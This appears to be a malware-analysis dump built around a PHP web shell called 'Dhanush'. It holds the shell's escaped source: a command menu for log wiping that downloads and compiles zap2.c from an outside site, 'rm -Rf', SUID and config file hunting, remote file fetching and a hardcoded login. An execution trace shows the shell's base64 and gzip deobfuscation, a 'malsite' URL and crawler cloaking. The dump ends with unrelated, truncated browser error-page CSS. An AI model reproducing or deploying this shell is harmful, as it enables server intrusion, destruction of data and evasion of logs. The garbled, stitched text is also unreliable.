class=\"but\"><br><br>\r\n<input type=\"hidden\" id=\"uppath\" name=\"uppath\" value=\"<?php echo \$dir . \$directorysperator; ?>\">\r\n<select name=\"functiontype\" class=\"sbox\"> \r\n<option value=\"wwget\">wget</option> \r\n<option value=\"wlynx\">lynx</option> \r\n<option value=\"wfread\">fread</option> \r\n<option value=\"wfetch\">fetch</option> \r\n<option value=\"wlinks\">links</option> \r\n<option value=\"wget\">GET</option> \r\n<option value=\"wcurl\">curl</option> \r\n</select>\r\n</form><div id=\"showexp\"></div>\r\n</td>\r\n<td align=\"center\">\r\n<form>\r\nSome Commands<br>\r\n<?php if(\$os != \"Windows\")\r\n{ ?>\r\n<SELECT NAME=\"mycmd\" class=\"box\">\r\n     <OPTION VALUE=\"uname -a\">Kernel version\r\n     <OPTION VALUE=\"w\">Logged in users\r\n     <OPTION VALUE=\"lastlog\">Last to connect\r\n\t <option value='cat /etc/hosts'>IP Addresses\r\n\t <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP\r\n\t <OPTION VALUE=\"logeraser\">Log Eraser\r\n\t <OPTION VALUE=\"find / -perm -2 -ls\">Find all writable directories\r\n\t <OPTION VALUE=\"find . -perm -2 -ls\">Find all writable directories in Current Folder\r\n\t <OPTION VALUE=\"find / -type f -name \\\"config*\\\"\">find config* files\r\n\t <OPTION VALUE=\"find . -type f -name \\\"config*\\\"\">find config* files in current dir\r\n\t <OPTION VALUE=\"find . -type f -perm -04000 -ls\">find suid files in current dir\r\n\t <OPTION VALUE=\"find / -type f -perm -04000 -ls\">find all suid files\r\n\t <OPTION VALUE=\"find / -user root -perm  -022\">find all sgid files\r\n\t <OPTION VALUE=\"find . -type f -perm -02000 -ls\">find suid files in current dir\r\n\t <OPTION VALUE=\"find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null\">Suid bins\r\n     <OPTION VALUE=\"cut -d: -f1,2,3 /etc/passwd | grep ::\">USER WITHOUT PASSWORD!\r\n     <OPTION VALUE=\"find /etc/ -type f -perm -o+w 2> /dev/null\">Write in /etc/?\r\n\t <?php if(is_dir('/etc/valiases')){ ?><option value=\"ls -l /etc/valiases\">List of Cpanel`s domains(valiases)</option><?php } ?>\r\n\t <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\\\"ls -l /etc/vdomainaliases\">List Cpanel`s domains(vdomainaliases)</option><?php } ?>\r\n     <OPTION VALUE=\"which wget curl w3m lynx\">Downloaders?\r\n     <OPTION VALUE=\"cat /proc/version /proc/cpuinfo\">CPUINFO\r\n\t <OPTION VALUE=\"ps aux\">Show running proccess\r\n\t <OPTION VALUE=\"uptime\">Uptime check\r\n\t <OPTION VALUE=\"cat /proc/meminfo\">Memory check\r\n     <OPTION VALUE=\"netstat -an | grep -i listen\">Open ports\r\n\t <OPTION VALUE=\"rm -Rf\">Format box (DANGEROUS)\r\n     <OPTION VALUE=\"wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c\">WIPELOGS PT1 (If wget installed)\r\n     <OPTION VALUE=\"gcc zap2.c -o zap2\">WIPELOGS PT2\r\n     <OPTION VALUE=\"./zap2\">WIPELOGS PT3\r\n\t <OPTION VALUE=\"cat /var/cpanel/accounting.log\">Get cpanel logs\r\n </SELECT>\r\n <?php } else {?>\r\n <SELECT NAME=\"mycmd\" class=\"box\">\r\n   \t<OPTION VALUE=\"dir /s /w /b *config*.php\">Find *config*.php in current directory\r\n\t<OPTION VALUE=\"dir /s /w /b index.php\">Find index.php in current dir\r\n \t<OPTION VALUE=\"systeminfo\">System Informations\r\n\t<OPTION VALUE=\"net user\">User accounts\r\n    <OPTION VALUE=\"netstat -an\">Open ports\r\n\t<OPTION VALUE=\"getmac\">Get Mac Address\r\n\t<OPTION VALUE=\"net start\">Show running services\r\n\t<OPTION VALUE=\"net view\">Show computers\r\n\t<OPTION VALUE=\"arp -a\">ARP Table\r\n\t<OPTION VALUE=\"tasklist\">Show Process\r\n\t<OPTION VALUE=\"ipconfig/all\">IP Configuration\r\n\t\r\n </SELECT>\r\n <?php } ?>\r\n <input type=\"hidden\" id=\"auexepath\" name=\"auexepath\" value=\"<?php echo \$dir; ?>\">\r\n<input type=\"button\" onClick=\"executemyfile('mycmd',auexepath.value,mycmd.value)\" value=\"Execute\" class=\"but\">\r\n</form>\r\n</td>\r\n</tr></table><br>\r\n\t\r\n</td>\r\n</tr>\r\n</table>\r\n\r\n<?php\r\n\r\n\r\n//logout\r\n\r\nif(isset(\$_GET['logout']))\r\n{\r\n    setcookie(\"hacked\",time() - 60*60);\r\n\theader(\"Location:\$self\");\r\n\tob_end_flush();\r\n}\t\r\n?>\r\n\r\n\r\n<hr color=\"#1B1B1B\">\r\n<div align=\"center\">\r\n<font size=\"6\" face=\"Times New Roman, Times, serif\" color=\"#00CC00\">&#2343;&#2344;&#2369;&#2359;<br>\r\n--==Coded By Arjun==--</font><br><a href=\"http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6\" target=\"_blank\"><font color=\"#FF0000\" size=\"6\">&#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342;</font></a></div>\r\n<?php \r\n}\t\r\n}\r\n\r\nif(isset(\$_POST['uname']) && isset(\$_POST['passwd']))\r\n{\r\n    if( \$_POST['uname'] == \$user && \$_POST['passwd'] == \$pass )\r\n    {\r\n         setcookie(\"hacked\", md5(\$pass));\r\n\t\t \$selfenter = \$_SERVER[\"PHP_SELF\"];\r\n\t\t header(\"Location:\$selfenter\");\r\n\t}\r\n}\r\n\t\t\r\nif((!isset(\$_COOKIE['hacked']) || \$_COOKIE['hacked']!=md5(\$pass)) )\r\n{\r\n\t\tshellstyle();\r\n?>\r\n\t<center>\r\n\t<form method=\"POST\">\r\n\t<div style=\"background-color:#171717; width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px; background-image:url(Windows_7_-_Alien_from_outer_space.jpg);\">\r\n\t\t<table cellpadding=\"9\" cellspacing=\"4\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"center\" colspan=\"2\"><blink><font size=\"7\"><b>Dhanush</b></font></blink></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"right\"><b>User Name : </b></td>\r\n\t\t\t\t<td><input type=\"text\" name=\"uname\" style=\"background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;\"  value=\"User Name\" onFocus=\"if (this.value == 'User Name'){this.value=''; this.style.color='black';}\" onBlur=\"if (this.value == '') {this.value='User Name'; this.style.color='#828282';}\" AUTOCOMPLETE=\"OFF\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"right\"><b>Password : </b></td>\r\n\t\t\t\t<td><input type=\"password\" name=\"passwd\" style=\"background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;\"  value=\"User Name\" onFocus=\"if (this.value == 'User Name'){this.value=''; this.style.color='black';}\" onBlur=\"if (this.value == '') {this.value='User Name'; this.style.color='#828282';}\" AUTOCOMPLETE=\"OFF\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"center\" colspan=\"2\"><input type=\"submit\" class=\"but\" value=\"     Enter     \"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"center\" colspan=\"2\"><font size=\"6\" face=\"Times New Roman, Times, serif\"><b>--==Coded By Arjun==--</b></font></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\"><font size=\"4\" face=\"Times New Roman, Times, serif\"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t</div>\r\n\t\r\n\t</form>\r\n\t</center>\r\n<br>\r\n</body>\r\n</html>\r\n<?php  \r\n}\r\n?>");

Execution traces

data/traces/f0155f7aae4f447bfa3850aa0d9a0d8b_trace-1676237610.0496.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:33:55.947385]
1	0	1	0.000173	393576
1	3	0	0.000628	464160	{main}	1		/var/www/html/uploads/dhanush (2).php	0	0
1		A						/var/www/html/uploads/dhanush (2).php	12	$user = 'Dhanush'
1		A						/var/www/html/uploads/dhanush (2).php	13	$pass = 'Dhanush'
1		A						/var/www/html/uploads/dhanush (2).php	15	$malsite = 'http://fightagent.ru'
1		A						/var/www/html/uploads/dhanush (2).php	17	$ind = 'WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=='
1		A						/var/www/html/uploads/dhanush (2).php	19	$bhrt = 'eNrsvXtXG0fSOPw3e85+h/YsyUgbISGuDliyscExWQwEcLJZ20fvSDNCYySNMiNxSda/z/5WVV+me24SIDnJPiExSH2prq6urq7urq569nzUG/39by8ib9waOJd+p/XLJBh7USucDMf+wCutlnch2x/6LShSsr0wDMJWP7i0K8fvjo7MTEhuUYHIrlC9oN2Kxk44LuEXXjX0RkE49oeXAjI2jA21+v7AHyebGzi3Le/W60zGfjCkcgJyXCSYjEeTcas96Xa9EOCKAn//m98tPfEGo/Fdabl1fnD248HZe/vNxcVp6x18a+19d3B8YX8sl9nf//bb3//G4Gd5Ennh3qU3HEeswZwwdO5K1ndBcNn3rAqzzvuTcIQf3p4fvwzG+Ml3Wk7Y6fnXXohff3aGrneLn86cQbsPiYgJggZcRqF3CSQed3olu2azKvMHo37geiX7v3ZFb7sMeXbNx8RCvAXW+NPzHNcLS1SsVq+uso3VDXYcjNnrYDJ0bYkF/ni3'
2	4	0	0.000762	464160	base64_decode	0		/var/www/html/uploads/dhanush (2).php	21	1	'eNrsvXtXG0fSOPw3e85+h/YsyUgbISGuDliyscExWQwEcLJZ20fvSDNCYySNMiNxSda/z/5WVV+me24SIDnJPiExSH2prq6urq7urq569nzUG/39by8ib9waOJd+p/XLJBh7USucDMf+wCutlnch2x/6LShSsr0wDMJWP7i0K8fvjo7MTEhuUYHIrlC9oN2Kxk44LuEXXjX0RkE49oeXAjI2jA21+v7AHyebGzi3Le/W60zGfjCkcgJyXCSYjEeTcas96Xa9EOCKAn//m98tPfEGo/Fdabl1fnD248HZe/vNxcVp6x18a+19d3B8YX8sl9nf//bb3//G4Gd5Ennh3qU3HEeswZwwdO5K1ndBcNn3rAqzzvuTcIQf3p4fvwzG+Ml3Wk7Y6fnXXohff3aGrneLn86cQbsPiYgJggZcRqF3CSQed3olu2azKvMHo37geiX7v3ZFb7sMeXbNx8RCvAXW+NPzHNcLS1SsVq+uso3VDXYcjNnrYDJ0bYkF/ni3'
2	4	1	0.000981	533824
2	4	R			'x��{W\033G�8�7{�~��,�H\033!!�\016X���1Y\f\004p�Y�G�H3Bc$�2#qIֿ�VU_�{n\022 9�>!1H}������z�|�\033��o/"o�\0328�~���$\030{Q+�\f��+��w!�\037�-(R��0\f�V?��+��LHnQ�ȮP��݊�N8.�\027^5�FA8���\00226�\r����\037\'�\0338�-���L�~0�r\002r\\$��G�q�=�v�\020�\002���-=�\006��]i�u~p���{����i�\035|k�}wp|a,��������gy\022y�ޥ7\034G���0t�J�wAp��\n���p�\037ޞ\037�\f��wZN���^�_v��w��ΜA�\017��\t�\006\\F�w\t$\036wz%�f�*�\a�~�z%��vEo�\fyv���B�\005���\034�\vKT�V�����\rv\034���`2tm�\005�x��x�}����Z��O\006#��\02'
2	5	0	0.001886	533792	gzuncompress	0		/var/www/html/uploads/dhanush (2).php	21	1	'x��{W\033G�8�7{�~��,�H\033!!�\016X���1Y\f\004p�Y�G�H3Bc$�2#qIֿ�VU_�{n\022 9�>!1H}������z�|�\033��o/"o�\0328�~���$\030{Q+�\f��+��w!�\037�-(R��0\f�V?��+��LHnQ�ȮP��݊�N8.�\027^5�FA8���\00226�\r����\037\'�\0338�-���L�~0�r\002r\\$��G�q�=�v�\020�\002���-=�\006��]i�u~p���{����i�\035|k�}wp|a,��������gy\022y�ޥ7\034G���0t�J�wAp��\n���p�\037ޞ\037�\f��wZN���^�_v��w��ΜA�\017��\t�\006\\F�w\t$\036wz%�f�*�\a�~�z%��vEo�\fyv���B�\005���\034�\vKT�V�����\rv\034���`2tm�\005�x��x�}����Z��O\006#��\02'
2	5	1	0.003372	767296
2	5	R			'<?php\r\n@set_magic_quotes_runtime(0);\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\nob_start();\r\nerror_reporting(0);\r\n@set_time_limit(0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) \r\n{\r\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n        header(\'HTT'
			0.008133	3040200
TRACE END   [2023-02-12 19:33:55.955380]


Generated HTML code

<html dir="ltr" lang="en"><head>
  <meta charset="utf-8">
  <meta name="color-scheme" content="light dark">
  <meta name="theme-color" content="#fff">
  <meta name="viewport" content="width=device-width, initial-scale=1.0,
                                 maximum-scale=1.0, user-scalable=no">
  <title>localhost</title>
  <style>/* Copyright 2017 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

a {
  color: var(--link-color);
}

body {
  --background-color: #fff;
  --error-code-color: var(--google-gray-700);
  --google-blue-100: rgb(210, 227, 252);
  --google-blue-300: rgb(138, 180, 248);
  --google-blue-600: rgb(26, 115, 232);
  --google-blue-700: rgb(25, 103, 210);
  --google-gray-100: rgb(241, 243, 244);
  --google-gray-300: rgb(218, 220, 224);
  --google-gray-500: rgb(154, 160, 166);
  --google-gray-50: rgb(248, 249, 250);
  --google-gray-600: rgb(128, 134, 139);
  --google-gray-700: rgb(95, 99, 104);
  --google-gray-800: rgb(60, 64, 67);
  --google-gray-900: rgb(32, 33, 36);
  --heading-color: var(--google-gray-900);
  --link-color: rgb(88, 88, 88);
  --popup-container-background-color: rgba(0,0,0,.65);
  --primary-button-fill-color-active: var(--google-blue-700);
  --primary-button-fill-color: var(--google-blue-600);
  --primary-button-text-color: #fff;
  --quiet-background-color: rgb(247, 247, 247);
  --secondary-button-border-color: var(--google-gray-500);
  --secondary-button-fill-color: #fff;
  --secondary-button-hover-border-color: var(--google-gray-600);
  --secondary-button-hover-fill-color: var(--google-gray-50);
  --secondary-button-text-color: var(--google-gray-700);
  --small-link-color: var(--google-gray-700);
  --text-color: var(--google-gray-700);
  background: var(--background-color);
  color: var(--text-color);
  word-wrap: break-word;
}

.nav-wrapper .secondary-button {
  background: var(--secondary-button-fill-color);
  border: 1px solid var(--secondary-button-border-color);
  color: var(--secondary-button-text-color);
  float: none;
  margin: 0;
  padding: 8px 16px;
}

.hidden {
  display: none;
}

html {
  -webkit-text-size-adjust: 100%;
  font-size: 125%;
}

.icon {
  background-repeat: no-repeat;
  background-size: 100%;
}

@media (prefers-color-scheme: dark) {
  body {
    --background-color: var(--google-gray-900);
    --error-code-color: var(--google-gray-500);
    --heading-color: var(--google-gray-500);
    --link-color: var(--google-blue-300);
    --primary-button-fill-color-active: rgb(129, 162, 208);
    --primary-button-fill-color: var(--google-blue-300);
    --primary-button-text-color: var(--google-gray-900);
    --quiet-background-color: var(--background-color);
    --secondary-button-border-color: var(--google-gray-700);
    --secondary-button-fill-color: var(--google-gray-900);
    --secondary-button-hover-fill-color: rgb(48, 51, 57);
    --secondary-button-text-color: var(--google-blue-300);
    --small-link-color: var(--google-blue-300);
    --text-color: var(--google-gray-500);
  }
}
</style>
  <style>/* Copyright 2014 The Chromium Authors
   Use of this source code is governed by a BSD-style license that can be
   found in the LICENSE file. */

button {
  border: 0;
  border-radius: 4px;
  box-sizing: border-box;
  color: var(--primary-button-text-color);
  cursor: pointer;
  float: right;
  font-size: .875em;
  margin: 0;
  padding: 8px 16px;
  transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
  user-select: none;
}

[dir='rtl'] button {
  float: left;
}

.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
  background: var(--primary-button-fill-color);
}

button:active {
  background: var(--primary-button-fill-color-active);
  outline: 0;
}

#debugging {
  display: inline;
  overflow: auto;
}

.debugging-content {
  line-height: 1em;
  margin-bottom: 0;
  margin-top: 1em;
}

.debugging-content-fixed-width {
  display: block;
  font-family: monospace;
  font-size: 1.2em;
  margin-top: 0.5em;
}

.debugging-title {
  font-weight: bold;
}

#details {
  margin: 0 0 50px;
}

#details p:not(:first-of-type) {
  margin-top: 20px;
}

.secondary-button:active {
  border-color: white;
  box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
      0 2px 6px 2px rgba(60, 64, 67, .15);
}

.secondary-button:hover {
  background: var(--secondary-button-hover-fill-color);
  border-color: var(--secondary-button-hover-border-color);
  text-decoration: none;
}

.error-code {
  color: var(--error-code-color);
  font-size: .8em;
  margin-top: 12px;
  text-transform: uppercase;
}

#error-debugging-info {
  font-size: 0.8em;
}

h1 {
  color: var(--heading-color);
  font-size: 1.6em;
  font-weight: normal;
  line-height: 1.25em;
  margin-bottom: 16px;
}

h2 {
  font-size: 1.2em;
  font-weight: normal;
}

.icon {
  height: 72px;
  margin: 0 0 40px;
  width: 72px;
}

input[type=checkbox] {
  opacity: 0;
}

input[type=checkbox]:focus ~ .checkbox::after {
  outline: -webkit-focus-ring-color auto 5px;
}

.interstitial-wrapper {
  box-sizing: border-box;
  font-size: 1em;
  line-height: 1.6em;
  margin: 14vh auto 0;
  max-width: 600px;
  width: 100%;
}

#main-message > p {
  display: inline;
}

#extended-reporting-opt-in {
  font-size: .875em;
  margin-top: 32px;
}

#extended-reporting-opt-in label {
  display: grid;
  grid-template-columns: 1.8em 1fr;
  position: relative;
}

#enhanced-protection-message {
  border-radius: 4px;
  font-size: 1em;
  margin-top: 32px;
  padding: 10px 5px;
}

#enhanced-protection-message label {
  display: grid;
  grid-template-columns: 2.5em 1fr;
  position: relative;
}

#enhanced-protection-message div {
  margin: 0.5em;
}

#enhanced-protection-message .icon {
  height: 1.5em;
  vertical-align: middle;
  width: 1.5em;
}

.nav-wrapper {
  margin-top: 51px;
}

.nav-wrapper::after {
  clear: both;
  content: '';
  display: table;
  width: 100%;
}

.small-link {
  color: var(--small-link-color);
  font-size: .875em;
}

.checkboxes {
  flex: 0 0 24px;
}

.checkbox {
  --padding: .9em;
  background: transparent;
  display: block;
  height: 1em;
  left: -1em;
  padding-inline-start: var(--padding);
  position: absolute;
  right: 0;
  top: -.5em;
  width: 1em;
}

.checkbox::after {
  border: 1px solid white;
  border-radius: 2px;
  content: '';
  height: 1em;
  left: var(--padding);
  position: absolute;
  top: var(--padding);
  width: 1em;
}

.checkbox::before {
  background: transparent;
  border: 2px solid white;
  border-inline-end-width: 0;
  border-top-width: 0;
  content: '';
  height: .2em;
  left: calc(.3em + var(--padding));
  opacity: 0;
  position: absolute;
  top: calc(.3em  + var(--padding));
  transform: rotate(-45deg);
  width: .5em;
}

input[type=checkbox]:checked ~ .checkbox::before {
  opacity: 1;
}

#recurrent-error-message {
  background: #ededed;
  border-radius: 4px;
  margin-bottom: 16px;
  margin-top: 12px;
  padding: 12px 16px;
}

.showing-recurrent-error-message #extended-reporting-opt-in {
  margin-top: 16px;
}

.showing-recurrent-error-message #enhanced-protection-message {
  margin-top: 16px;
}

@media (max-width: 700px) {
  .interstitial-wrapper {
    padding: 0 10%;
  }

  #error-debugging-info {
    overflow: auto;
  }
}

@media (max-width: 420px) {
  button,
  [dir='rtl'] button,
  .small-link {
    float: none;
    font-size: .825em;
    font-weight: 500;
    margin: 0;
    width: 100%;
  }

  button {
    padding: 16px 24px;
  }

  #details {
    margin: 20px 0 20px 0;
  }

  #details p:not(:first-of-type) {
    margin-top: 10px;
  }

  .secondary-button:not(.hidden) {
    display: block;
    margin-top: 20px;
    text-align: center;
    width: 100%;
  }

  .interstitial-wrapper {
    padding: 0 5%;
  }

  #extended-reporting-opt-in {
    margin-top: 24px;
  }

  #enhanced-protection-message {
    margin-top: 24px;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

/**
 * Mobile specific styling.
 * Navigation buttons are anchored to the bottom of the screen.
 * Details message replaces the top content in its own scrollable area.
 */

@media (max-width: 420px) {
  .nav-wrapper .secondary-button {
    border: 0;
    margin: 16px 0 0;
    margin-inline-end: 0;
    padding-bottom: 16px;
    padding-top: 16px;
  }
}

/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
       (min-height: 401px),
       (min-width: 421px) and (min-height: 240px) and
       (max-height: 560px) {
  body .nav-wrapper {
    background: var(--background-color);
    bottom: 0;
    box-shadow: 0 -12px 24px var(--background-color);
    left: 0;
    margin: 0 auto;
    max-width: 736px;
    padding-inline-end: 24px;
    padding-inline-start: 24px;
    position: fixed;
    right: 0;
    width: 100%;
    z-index: 2;
  }

  .interstitial-wrapper {
    max-width: 736px;
  }

  #details,
  #main-content {
    padding-bottom: 40px;
  }

  #details {
    padding-top: 5.5vh;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  body {
    margin: 0 auto;
  }

  button,
  [dir='rtl'] button,
  button.small-link,
  .nav-wrapper .secondary-button {
    font-family: Roboto-Regular,Helvetica;
    font-size: .933em;
    margin: 6px 0;
    transform: translatez(0);
  }

  .nav-wrapper {
    box-sizing: border-box;
    padding-bottom: 8px;
    width: 100%;
  }

  #details {
    box-sizing: border-box;
    height: auto;
    margin: 0;
    opacity: 1;
    transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  #details.hidden,
  #main-content.hidden {
    height: 0;
    opacity: 0;
    overflow: hidden;
    padding-bottom: 0;
    transition: none;
  }

  h1 {
    font-size: 1.5em;
    margin-bottom: 8px;
  }

  .icon {
    margin-bottom: 5.69vh;
  }

  .interstitial-wrapper {
    box-sizing: border-box;
    margin: 7vh auto 12px;
    padding: 0 24px;
    position: relative;
  }

  .interstitial-wrapper p {
    font-size: .95em;
    line-height: 1.61em;
    margin-top: 8px;
  }

  #main-content {
    margin: 0;
    transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  .small-link {
    border: 0;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
    margin: 0;
  }
}

@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

@media (min-height: 400px) and (orientation:portrait) {
  .interstitial-wrapper {
    margin-bottom: 145px;
  }
}

@media (min-height: 299px) {
  .nav-wrapper {
    padding-bottom: 16px;
  }
}

@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
  .extended-reporting-has-checkbox #details {
    padding-bottom: 80px;
  }
}

@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
       (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 7vh;
  }
}

@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
       (max-height: 239px) and (orientation: landscape),
       (max-width: 419px) and (max-height: 399px) {
  .interstitial-wrapper {
    display: flex;
    flex-direction: column;
    margin-bottom: 0;
  }

  #details {
    flex: 1 1 auto;
    order: 0;
  }

  #main-content {
    flex: 1 1 auto;
    order: 0;
  }

  .nav-wrapper {
    flex: 0 1 auto;
    margin-top: 8px;
    order: 1;
    padding-inline-end: 0;
    padding-inline-start: 0;
    position: relative;
    width: 100%;
  }

  button,
  .nav-wrapper .secondary-button {
    padding: 16px 24px;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 239px) and (orientation: portrait) {
  .nav-wrapper {
    padding-inline-end: 0;
    padding-inline-start: 0;
  }
}
</style>
  <style>/* Copyright 2013 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
  display: none;
}

/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
  display: none;
}

h1 {
  margin-top: 0;
  word-wrap: break-word;
}

h1 span {
  font-weight: 500;
}

a {
  text-decoration: none;
}

.icon {
  -webkit-user-select: none;
  display: inline-block;
}

.icon-generic {
  /* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
   * renderer process, so embed the resource manually. */
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}

.icon-offline {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
  position: relative;
}

.icon-disabled {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
  width: 112px;
}

.hidden {
  display: none;
}

#suggestions-list a {
  color: var(--google-blue-600);
}

#suggestions-list p {
  margin-block-end: 0;
}

#suggestions-list ul {
  margin-top: 0;
}

.single-suggestion {
  list-style-type: none;
  padding-inline-start: 0;
}

#error-information-button {
